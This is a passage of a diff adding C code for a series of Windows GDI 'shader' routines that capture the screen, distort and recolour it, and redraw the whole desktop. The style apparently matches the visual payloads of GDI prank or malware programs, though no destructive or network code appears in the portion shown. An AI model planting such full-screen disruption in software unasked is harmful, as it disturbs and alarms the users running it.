+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
917
+ }
918
+ }
919
+
920
+ VOID
921
+ WINAPI
922
+ GdiShader6(
923
+ _In_ INT t,
924
+ _In_ INT w,
925
+ _In_ INT h,
926
+ _In_ HDC hdcTemp,
927
+ _In_ HBITMAP hbmTemp,
928
+ _In_ PRGBQUAD prgbSrc,
929
+ _Inout_ PRGBQUAD prgbDst
930
+ )
931
+ {
932
+ UNREFERENCED_PARAMETER(hdcTemp);
933
+ UNREFERENCED_PARAMETER(hbmTemp);
934
+
935
+ UINT u;
936
+ UINT v;
937
+ FLOAT div = (FLOAT)t / 24.f;
938
+ FLOAT a = FastCosine(div) * 2.f * PI;
939
+ BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
940
+ BYTE bChannels = (BYTE)(Xorshift32() & 9);
941
+ RGBQUAD rgbSrc;
942
+ RGBQUAD rgbDst;
943
+
944
+ for (INT y = 0; y < h; y++)
945
+ {
946
+ for (INT x = 0; x < w; x++)
947
+ {
948
+ FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
949
+ FLOAT c = FastSine(a + b) * 68.f;
950
+
951
+ u = x + (INT)a, v = y + (INT)c;
952
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
953
+
954
+ rgbDst = prgbSrc[v * w + x];
955
+
956
+ if (bShiftDir)
957
+ {
958
+ rgbDst.rgb <<= 1;
959
+ }
960
+ else
961
+ {
962
+ rgbDst.rgb >>= 1;
963
+ }
964
+
965
+ rgbSrc = prgbSrc[v * w + x];
966
+ rgbDst.rgb ^= rgbSrc.rgb;
967
+
968
+ if (bChannels & 0b001)
969
+ {
970
+ rgbDst.b |= rgbSrc.b;
971
+ }
972
+
973
+ if (bChannels & 0b010)
974
+ {
975
+ rgbDst.g |= rgbSrc.g;
976
+ }
977
+
978
+ if (bChannels & 0b100)
979
+ {
980
+ rgbDst.r |= rgbSrc.r;
981
+ }
982
+
983
+ prgbDst[y * w + u] = rgbDst;
984
+ }
985
+ }
986
+ }
987
+
988
+ VOID
989
+ WINAPI
990
+ GdiShader7(
991
+ _In_ INT t,
992
+ _In_ INT w,
993
+ _In_ INT h,
994
+ _In_ HDC hdcTemp,
995
+ _In_ HBITMAP hbmTemp,
996
+ _In_ PRGBQUAD prgbSrc,
997
+ _Inout_ PRGBQUAD prgbDst
998
+ )
999
+ {
1000
+ UNREFERENCED_PARAMETER(hdcTemp);
1001
+ UNREFERENCED_PARAMETER(hbmTemp);
1002
+
1003
+ UINT u;
1004
+ UINT v;
1005
+ RGBQUAD rgbDst;
1006
+ RGBQUAD rgbSrc;
1007
+ BOOL bOperation = (BOOL)(Xorshift32() % 21);
1008
+
1009
+ for (INT y = 0; y < h; y++)
1010
+ {
1011
+ for (INT x = 0; x < w; x++)
1012
+ {
1013
+ u = (x + t * 284) ^ (y + t * y) ^ t;
1014
+ v = (x + t * 128) + (y + t * y) ^ t;
1015
+
1016
+ u %= w;
1017
+ v %= h;
1018
+
1019
+ rgbDst = prgbSrc[v * w + u];
1020
+ rgbSrc = prgbSrc[y * w + x];
1021
+
1022
+ if (bOperation)
1023
+ {
1024
+ rgbDst.rgb |= rgbSrc.rgb;
1025
+ }
1026
+ else
1027
+ {
1028
+ rgbDst.rgb &= rgbSrc.rgb;
1029
+ }
1030
+
1031
+ prgbDst[y * w + x] = rgbDst;
1032
+ }
1033
+ }
1034
+ }
1035
+
1036
+ VOID
1037
+ WINAPI
1038
+ PostGdiShader5(
1039
+ _In_ INT t,
1040
+ _In_ INT w,
1041
+ _In_ INT h,
1042
+ _In_ RECT rcBounds,
1043
+ _In_ HDC hdcDst,
1044
+ _In_ HDC hdcTemp
1045
+ )
1046
+ {
1047
+ if (!(t % 4))
1048
+ {
1049
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
1050
+ }
1051
+ else
1052
+ {
1053
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
1054
+ }
1055
+ }
1056
+
1057
+ VOID
1058
+ WINAPI
1059
+ PreGdiShader1(
1060
+ _In_ INT t,
1061
+ _In_ INT w,
1062
+ _In_ INT h,
1063
+ _In_ RECT rcBounds,
1064
+ _In_ HDC hdcDst,
1065
+ _In_ HDC hdcTemp
1066
+ )
1067
+ {
1068
+ UNREFERENCED_PARAMETER(t);
1069
+
1070
+ BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
1071
+
1072
+ for (INT i = 0; i < 5; i++)
1073
+ {
1074
+ INT nBlockSize = Xorshift32() % 19 + 12 + 2;
1075
+ INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
1076
+ INT x = Xorshift32() % (w - nBlockSize);
1077
+ INT y = Xorshift32() % (h - nBlockSize);
1078
+
1079
+ StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
1080
+ nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
1081
+ }
1082
+ }
1083
+
1084
+ VOID
1085
+ WINAPI
1086
+ GdiShader8(
1087
+ _In_ INT t,
1088
+ _In_ INT w,
1089
+ _In_ INT h,
1090
+ _In_ HDC hdcTemp,
1091
+ _In_ HBITMAP hbmTemp,
1092
+ _In_ PRGBQUAD prgbSrc,
1093
+ _Inout_ PRGBQUAD prgbDst
1094
+ )
1095
+ {
1096
+ UNREFERENCED_PARAMETER(hdcTemp);
1097
+ UNREFERENCED_PARAMETER(hbmTemp);
1098
+
1099
+ UINT u;
1100
+ UINT v;
1101
+ FLOAT div = (FLOAT)t / 1.f;
1102
+ FLOAT a = FastSine(div) * 2.f;
1103
+ FLOAT b = FastCosine(div) * 2.f;
1104
+ FLOAT f = 1.f / 4.f;
1105
+ RGBQUAD rgbDst;
1106
+ RGBQUAD rgbSrc;
1107
+ HSLCOLOR hsl;
1108
+
1109
+ for (INT y = 0; y < h; y++)
1110
+ {
1111
+ for (INT x = 0; x < w; x++)
1112
+ {
1113
+ u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
1114
+ v = y + (INT)b;
1115
+
1116
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1117
+
1118
+ rgbDst = prgbSrc[v * w + u];
1119
+ rgbSrc = prgbSrc[y * w + x];
1120
+
1121
+ if (!rgbSrc.rgb)
1122
+ {
1123
+ rgbSrc.rgb = 1;
1124
+ }
1125
+
1126
+ rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
1127
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
1128
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
1129
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
1130
+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
1131
+
1132
+ hsl = RGBToHSL(rgbDst);
1133
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
1134
+ hsl.s = 1.f;
1135
+
1136
+ if (hsl.l < .3f)
1137
+ {
1138
+ hsl.l += .2f;
1139
+ }
1140
+
1141
+ rgbDst = HSLToRGB(hsl);
1142
+ prgbDst[y * w + x] = rgbDst;
1143
+ }
1144
+ }
1145
+ }
1146
+
1147
+ VOID
1148
+ WINAPI
1149
+ PostGdiShader6(
1150
+ _In_ INT t,
1151
+ _In_ INT w,
1152
+ _In_ INT h,
1153
+ _In_ RECT rcBounds,
1154
+ _In_ HDC hdcDst,
1155
+ _In_ HDC hdcTemp
1156
+ )
1157
+ {
1158
+ if (!(t % 32))
1159
+ {
1160
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
1161
+ }
1162
+ else
1163
+ {
1164
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
1165
+ }
1166
+ }
1167
+
1168
+ VOID
1169
+ WINAPI
1170
+ GdiShader9(
1171
+ _In_ INT t,
1172
+ _In_ INT w,
1173
+ _In_ INT h,
1174
+ _In_ HDC hdcTemp,
1175
+ _In_ HBITMAP hbmTemp,
1176
+ _In_ PRGBQUAD prgbSrc,
1177
+ _Inout_ PRGBQUAD prgbDst
1178
+ )
1179
+ {
1180
+ UNREFERENCED_PARAMETER(hdcTemp);
1181
+ UNREFERENCED_PARAMETER(hbmTemp);
1182
+
1183
+ UINT u;
1184
+ UINT v;
1185
+ FLOAT div = (FLOAT)t / 15.f;
1186
+ FLOAT a = FastSine(div) * 4.f;
1187
+ FLOAT b = FastCosine(div) * 2.f;
1188
+ FLOAT f = 1.f / 3.f;
1189
+ RGBQUAD rgbDst;
1190
+ RGBQUAD rgbSrc;
1191
+ HSLCOLOR hsl;
1192
+
1193
+ for (INT y = 0; y < h; y++)
1194
+ {
1195
+ for (INT x = 0; x < w; x++)
1196
+ {
1197
+ u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
1198
+ v = y + (INT)b;
1199
+
1200
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1201
+
1202
+ rgbDst = prgbSrc[v * w + u];
1203
+ rgbSrc = prgbSrc[y * w + x];
1204
+
1205
+ if (!rgbSrc.rgb)
1206
+ {
1207
+ rgbSrc.rgb = 1;
1208
+ }
1209
+
1210
+ rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
1211
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
1212
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
1213
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
1214
+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
1215
+
1216
+ hsl = RGBToHSL(rgbDst);
1217
+ hsl.h /= 1.0165f;
1218
+ hsl.s /= 1.0135f;
1219
+ hsl.l /= 1.0115f;
1220
+ rgbDst = HSLToRGB(hsl);
1221
+
1222
+ prgbDst[y * w + x] = rgbDst;
1223
+ }
1224
+ }
1225
+ }
1226
+
1227
+ VOID
1228
+ WINAPI
1229
+ GdiShader10(
1230
+ _In_ INT t,
1231
+ _In_ INT w,
1232
+ _In_ INT h,
1233
+ _In_ HDC hdcTemp,
1234
+ _In_ HBITMAP hbmTemp,
1235
+ _In_ PRGBQUAD prgbSrc,
1236
+ _Inout_ PRGBQUAD prgbDst
1237
+ )
1238
+ {
1239
+ UNREFERENCED_PARAMETER(hdcTemp);
1240
+ UNREFERENCED_PARAMETER(hbmTemp);
1241
+
1242
+ UINT u;
1243
+ UINT v;
1244
+ FLOAT f = 1.f / 4.f;
1245
+ RGBQUAD rgbDst;
1246
+ RGBQUAD rgbSrc;
1247
+ HSLCOLOR hsl;
1248
+
1249
+ for (INT y = 0; y < h; y++)
1250
+ {
1251
+ for (INT x = 0; x < w; x++)
1252
+ {
1253
+ u = x + ((t + y) % 34) * -1;
1254
+ v = y + (t + x) % 54;
1255
+
1256
+ u %= w;
1257
+ v %= h;
1258
+
1259
+ rgbDst = prgbSrc[v * w + u];
1260
+ rgbSrc = prgbSrc[y * w + x];
1261
+
1262
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
1263
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
1264
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
1265
+ rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
1266
+
1267
+ hsl = RGBToHSL(rgbDst);
1268
+ hsl.s = .5f;
1269
+ hsl.l *= 1.125f;
1270
+
1271
+ if (hsl.l > .5f)
1272
+ {
1273
+ hsl.l -= .5f;
1274
+ }
1275
+
1276
+ if (hsl.l < .25f)
1277
+ {
1278
+ hsl.l += .25f;
1279
+ }
1280
+
1281
+ rgbDst = HSLToRGB(hsl);
1282
+
1283
+ prgbDst[y * w + x] = rgbDst;
1284
+ }
1285
+ }
1286
+ }
1287
+
1288
+ VOID
1289
+ WINAPI
1290
+ GdiShader11(
1291
+ _In_ INT t,
1292
+ _In_ INT w,
1293
+ _In_ INT h,
1294
+ _In_ HDC hdcTemp,
1295
+ _In_ HBITMAP hbmTemp,
1296
+ _In_ PRGBQUAD prgbSrc,
1297
+ _Inout_ PRGBQUAD prgbDst
1298
+ )
1299
+ {
1300
+ UNREFERENCED_PARAMETER(hdcTemp);
1301
+ UNREFERENCED_PARAMETER(hbmTemp);
1302
+
1303
+ UINT u;
1304
+ UINT v;
1305
+ FLOAT f = 1.f / 4.f;
1306
+ RGBQUAD rgbDst;
1307
+ RGBQUAD rgbSrc;
1308
+ HSLCOLOR hsl;
1309
+
1310
+ for (INT y = 0; y < h; y++)
1311
+ {
1312
+ for (INT x = 0; x < w; x++)
1313
+ {
1314
+ u = x + y / (h / 19);
1315
+ v = y + u / (w / 1);
1316
+ u = x + v / (h / 13);
1317
+
1318
+ u %= w;
1319
+ v %= h;
1320
+
1321
+ rgbDst = prgbSrc[v * w + u];
1322
+ rgbSrc = prgbSrc[y * w + x];
1323
+
1324
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
1325
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
1326
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
1327
+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
1328
+
1329
+ hsl = RGBToHSL(rgbDst);
1330
+
1331
+ if (hsl.s < .5f)
1332
+ {
1333
+ hsl.s = .5f;
1334
+ }
1335
+
1336
+ if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
1337
+ {
1338
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
1339
+ }
1340
+ else
1341
+ {
1342
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
1343
+ }
1344
+
1345
+ rgbDst = HSLToRGB(hsl);
1346
+
1347
+ prgbDst[y * w + x] = rgbDst;
1348
+ }
1349
+ }
1350
+ }
1351
+
1352
+ VOID
1353
+ WINAPI
1354
+ GdiShader12(
1355
+ _In_ INT t,
1356
+ _In_ INT w,
1357
+ _In_ INT h,
1358
+ _In_ HDC hdcTemp,
1359
+ _In_ HBITMAP hbmTemp,
1360
+ _In_ PRGBQUAD prgbSrc,
1361
+ _Inout_ PRGBQUAD prgbDst
1362
+ )
1363
+ {
1364
+ UNREFERENCED_PARAMETER(hdcTemp);
1365
+ UNREFERENCED_PARAMETER(hbmTemp);
1366
+
1367
+ UINT u;
1368
+ UINT v;
1369
+ RGBQUAD rgbDst;
1370
+
1371
+ for (INT y = 0; y < h; y++)
1372
+ {
1373
+ FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
1374
+
1375
+ for (INT x = 0; x < w; x++)
1376
+ {
1377
+ u = x + (INT)a;
1378
+ v = y;
1379
+
1380
+ u %= w;
1381
+ v %= h;
1382
+
1383
+ rgbDst = prgbSrc[v * w + u];
1384
+ rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
1385
+ prgbDst[y * w + x] = rgbDst;
1386
+ }
1387
+ }
1388
+ }
1389
+
1390
+ VOID
1391
+ WINAPI
1392
+ GdiShader13(
1393
+ _In_ INT t,
1394
+ _In_ INT w,
1395
+ _In_ INT h,
1396
+ _In_ HDC hdcTemp,
1397
+ _In_ HBITMAP hbmTemp,
1398
+ _In_ PRGBQUAD prgbSrc,
1399
+ _Inout_ PRGBQUAD prgbDst
1400
+ )
1401
+ {
1402
+ UNREFERENCED_PARAMETER(hdcTemp);
1403
+ UNREFERENCED_PARAMETER(hbmTemp);
1404
+
1405
+ UINT u;
1406
+ UINT v;
1407
+ RGBQUAD rgbDst;
1408
+
1409
+ for (INT y = 0; y < h; y++)
1410
+ {
1411
+ FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
1412
+
1413
+ for (INT x = 0; x < w; x++)
1414
+ {
1415
+ u = x + (INT)a;
1416
+ v = y;
1417
+
1418
+ u %= w;
1419
+ v %= h;
1420
+
1421
+ rgbDst = prgbSrc[v * w + u];
1422
+ rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
1423
+ prgbDst[y * w + x] = rgbDst;
1424
+ }
1425
+ }
1426
+ }
1427
+
1428
+ VOID
1429
+ WINAPI
1430
+ GdiShader14(
1431
+ _In_ INT t,
1432
+ _In_ INT w,
1433
+ _In_ INT h,
1434
+ _In_ HDC hdcTemp,
1435
+ _In_ HBITMAP hbmTemp,
1436
+ _In_ PRGBQUAD prgbSrc,
1437
+ _Inout_ PRGBQUAD prgbDst
1438
+ )
1439
+ {
1440
+ UNREFERENCED_PARAMETER(hdcTemp);
1441
+ UNREFERENCED_PARAMETER(hbmTemp);
1442
+
1443
+ UINT u;
1444
+ UINT v;
1445
+ RGBQUAD rgbDst;
1446
+
1447
+ for (INT y = 0; y < h; y++)
1448
+ {
1449
+ FLOAT a = FastSine(2 * 1 + 3) * 1.f;
1450
+
1451
+ for (INT x = 0; x < w; x++)
1452
+ {
1453
+ u = x + (INT)a;
1454
+ v = y;
1455
+
1456
+ u %= w;
1457
+ v %= h;
1458
+
1459
+ rgbDst = prgbSrc[v * w + u];
1460
+ rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
1461
+ prgbDst[y * w + x] = rgbDst;
1462
+ }
1463
+ }
1464
+ }
1465
+
1466
+ VOID
1467
+ WINAPI
1468
+ GdiShader15(
1469
+ _In_ INT t,
1470
+ _In_ INT w,
1471
+ _In_ INT h,
1472
+ _In_ HDC hdcTemp,
1473
+ _In_ HBITMAP hbmTemp,
1474
+ _In_ PRGBQUAD prgbSrc,
1475
+ _Inout_ PRGBQUAD prgbDst
1476
+ )
1477
+ {
1478
+ UNREFERENCED_PARAMETER(hdcTemp);
1479
+ UNREFERENCED_PARAMETER(hbmTemp);
1480
+
1481
+ UINT u;
1482
+ UINT v;
1483
+ RGBQUAD rgbDst;
1484
+
1485
+ for (INT y = 0; y < h; y++)
1486
+ {
1487
+ for (INT x = 0; x < w; x++)
1488
+ {
1489
+ FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
1490
+ FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
1491
+
1492
+ u = x + (INT)a;
1493
+ v = y + (INT)b;
1494
+
1495
+ u %= w;
1496
+ v %= h;
1497
+
1498
+ rgbDst = prgbSrc[v * w + u];
1499
+ rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
1500
+ prgbDst[y * w + x] = rgbDst;
1501
+ }
1502
+ }
1503
+ }
1504
+
1505
+ VOID
1506
+ WINAPI
1507
+ GdiShader16(
1508
+ _In_ INT t,
1509
+ _In_ INT w,
1510
+ _In_ INT h,
1511
+ _In_ HDC hdcTemp,
1512
+ _In_ HBITMAP hbmTemp,
1513
+ _In_ PRGBQUAD prgbSrc,
1514
+ _Inout_ PRGBQUAD prgbDst
1515
+ )
1516
+ {
1517
+ UNREFERENCED_PARAMETER(hdcTemp);
1518
+ UNREFERENCED_PARAMETER(hbmTemp);
1519
+
1520
+ UINT u;
1521
+ UINT v;
1522
+ RGBQUAD rgbDst;
1523
+
1524
+ for (INT y = 0; y < h; y++)
1525
+ {
1526
+ for (INT x = 0; x < w; x++)
1527
+ {
1528
+ FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
1529
+ FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
1530
+
1531
+ u = x + (INT)a;
1532
+ v = y - (INT)b;
1533
+
1534
+ u %= w;
1535
+ v %= h;
1536
+
1537
+ rgbDst = prgbSrc[v * w + u];
1538
+ rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
1539
+ prgbDst[y * w + x] = rgbDst;
1540
+ }
1541
+ }
1542
+ }
1543
+
1544
+ VOID
1545
+ WINAPI
1546
+ GdiShader17(
1547
+ _In_ INT t,
1548
+ _In_ INT w,
1549
+ _In_ INT h,
1550
+ _In_ HDC hdcTemp,
1551
+ _In_ HBITMAP hbmTemp,
1552
+ _In_ PRGBQUAD prgbSrc,
1553
+ _Inout_ PRGBQUAD prgbDst
1554
+ )
1555
+ {
1556
+ UNREFERENCED_PARAMETER(hdcTemp);
1557
+ UNREFERENCED_PARAMETER(hbmTemp);
1558
+
1559
+ UINT u;
1560
+ UINT v;
1561
+ RGBQUAD rgbDst;
1562
+
1563
+ for (INT y = 0; y < h; y++)
1564
+ {
1565
+ for (INT x = 0; x < w; x++)
1566
+ {
1567
+ FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
1568
+ FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
1569
+
1570
+ u = x + (INT)b;
1571
+ v = y + (INT)a;
1572
+
1573
+ u %= w;
1574
+ v %= h;
1575
+
1576
+ rgbDst = prgbSrc[v * w + u];
1577
+ HSLCOLOR hsl = RGBToHSL(rgbDst);
1578
+ hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
1579
+ hsl.s = (FLOAT)rgbDst.g / 255.f;
1580
+ hsl.l = (FLOAT)rgbDst.b / 55.f;
1581
+ rgbDst = HSLToRGB(hsl);
1582
+ prgbDst[y * w + x] = rgbDst;
1583
+ }
1584
+ }
1585
+ }
1586
+
1587
+ VOID
1588
+ WINAPI
1589
+ GdiShader18(
1590
+ _In_ INT t,
1591
+ _In_ INT w,
1592
+ _In_ INT h,
1593
+ _In_ HDC hdcTemp,
1594
+ _In_ HBITMAP hbmTemp,
1595
+ _In_ PRGBQUAD prgbSrc,
1596
+ _Inout_ PRGBQUAD prgbDst
1597
+ )
1598
+ {
1599
+ UNREFERENCED_PARAMETER(hdcTemp);
1600
+ UNREFERENCED_PARAMETER(hbmTemp);
1601
+
1602
+ UINT u;
1603
+ UINT v;
1604
+ RGBQUAD rgbDst;
1605
+ FLOAT c = 1.f / 8.f;
1606
+ BYTE d;
1607
+
1608
+ for (INT y = 0; y < h; y++)
1609
+ {
1610
+ FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
1611
+
1612
+ for (INT x = 0; x < w; x++)
1613
+ {
1614
+ FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
1615
+
1616
+ u = x + (INT)a;
1617
+ v = y + (INT)b;
1618
+
1619
+ u %= w;
1620
+ v %= h;
1621
+
1622
+ rgbDst = prgbSrc[v * w + u];
1623
+ rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
1624
+ rgbDst.g += rgbDst.r / 36;
1625
+
1626
+ d = rgbDst.b;
1627
+
1628
+ if (!d)
1629
+ {
1630
+ d = 1;
1631
+ }
1632
+
1633
+ rgbDst.b += rgbDst.r / d;
1634
+
1635
+ HSLCOLOR hsl = RGBToHSL(rgbDst);
1636
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
1637
+ hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
1638
+ hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
1639
+ rgbDst = HSLToRGB(hsl);
1640
+
1641
+ prgbDst[y * w + x] = rgbDst;
1642
+ }
1643
+ }
1644
+ }
1645
+
1646
+ VOID
1647
+ WINAPI
1648
+ GdiShader19(
1649
+ _In_ INT t,
1650
+ _In_ INT w,
1651
+ _In_ INT h,
1652
+ _In_ HDC hdcTemp,
1653
+ _In_ HBITMAP hbmTemp,
1654
+ _In_ PRGBQUAD prgbSrc,
1655
+ _Inout_ PRGBQUAD prgbDst
1656
+ )
1657
+ {
1658
+ UNREFERENCED_PARAMETER(hdcTemp);
1659
+ UNREFERENCED_PARAMETER(hbmTemp);
1660
+
1661
+ UINT u;
1662
+ UINT v;
1663
+ RGBQUAD rgbDst;
1664
+
1665
+ for (INT y = 0; y < h; y++)
1666
+ {
1667
+ FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
1668
+
1669
+ for (INT x = 0; x < w; x++)
1670
+ {
1671
+ u = x + 0 + (INT)a;
1672
+ v = y;
1673
+
1674
+ u %= w;
1675
+ v %= h;
1676
+
1677
+ rgbDst = prgbSrc[v * w + u];
1678
+ rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
1679
+ prgbDst[y * w + x] = rgbDst;
1680
+ }
1681
+ }
1682
+ }
1683
+
1684
+ VOID
1685
+ WINAPI
1686
+ GdiShader20(
1687
+ _In_ INT t,
1688
+ _In_ INT w,
1689
+ _In_ INT h,
1690
+ _In_ HDC hdcTemp,
1691
+ _In_ HBITMAP hbmTemp,
1692
+ _In_ PRGBQUAD prgbSrc,
1693
+ _Inout_ PRGBQUAD prgbDst
1694
+ )
1695
+ {
1696
+ UNREFERENCED_PARAMETER(hdcTemp);
1697
+ UNREFERENCED_PARAMETER(hbmTemp);
1698
+
1699
+ UINT u;
1700
+ UINT v;
1701
+ RGBQUAD rgbDst;
1702
+
1703
+ HSLCOLOR hsl;
1704
+ hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
1705
+ hsl.s = 1.f;
1706
+ hsl.l = .5f;
1707
+ COLORREF crRainbow = HSLToRGB(hsl).rgb;
1708
+
1709
+ for (INT y = 0; y < h; y++)
1710
+ {
1711
+ FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
1712
+
1713
+ for (INT x = 0; x < w; x++)
1714
+ {
1715
+ u = x + (INT)a;
1716
+ v = y ^ (y % (abs((INT)(a * a)) + 1));
1717
+
1718
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1719
+
1720
+ rgbDst = prgbSrc[v * w + u];
1721
+ rgbDst.rgb &= crRainbow;
1722
+
1723
+ prgbDst[y * w + x] = rgbDst;
1724
+ }
1725
+ }
1726
+ }
1727
+
1728
+ VOID
1729
+ WINAPI
1730
+ GdiShader21(
1731
+ _In_ INT t,
1732
+ _In_ INT w,
1733
+ _In_ INT h,
1734
+ _In_ HDC hdcTemp,
1735
+ _In_ HBITMAP hbmTemp,
1736
+ _In_ PRGBQUAD prgbSrc,
1737
+ _Inout_ PRGBQUAD prgbDst
1738
+ )
1739
+ {
1740
+ UNREFERENCED_PARAMETER(hdcTemp);
1741
+ UNREFERENCED_PARAMETER(hbmTemp);
1742
+
1743
+ UINT u;
1744
+ UINT v;
1745
+ RGBQUAD rgbDst;
1746
+
1747
+ for (INT y = 0; y < h; y++)
1748
+ {
1749
+ HSLCOLOR hsl;
1750
+ hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
1751
+ hsl.s = 1.f;
1752
+ hsl.l = .5f;
1753
+ COLORREF crRainbow = HSLToRGB(hsl).rgb;
1754
+
1755
+ FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
1756
+
1757
+ for (INT x = 0; x < w; x++)
1758
+ {
1759
+ u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
1760
+ v = y + (INT)(a * a);
1761
+
1762
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1763
+
1764
+ rgbDst = prgbSrc[v * w + u];
1765
+ rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
1766
+ prgbDst[y * w + x] = rgbDst;
1767
+ }
1768
+ }
1769
+ }
1770
+
1771
+ VOID
1772
+ WINAPI
1773
+ GdiShader22(
1774
+ _In_ INT t,
1775
+ _In_ INT w,
1776
+ _In_ INT h,
1777
+ _In_ HDC hdcTemp,
1778
+ _In_ HBITMAP hbmTemp,
1779
+ _In_ PRGBQUAD prgbSrc,
1780
+ _Inout_ PRGBQUAD prgbDst
1781
+ )
1782
+ {
1783
+ UNREFERENCED_PARAMETER(hdcTemp);
1784
+ UNREFERENCED_PARAMETER(hbmTemp);
1785
+
1786
+ UINT u;
1787
+ UINT v;
1788
+ RGBQUAD rgbDst;
1789
+ HSLCOLOR hsl;
1790
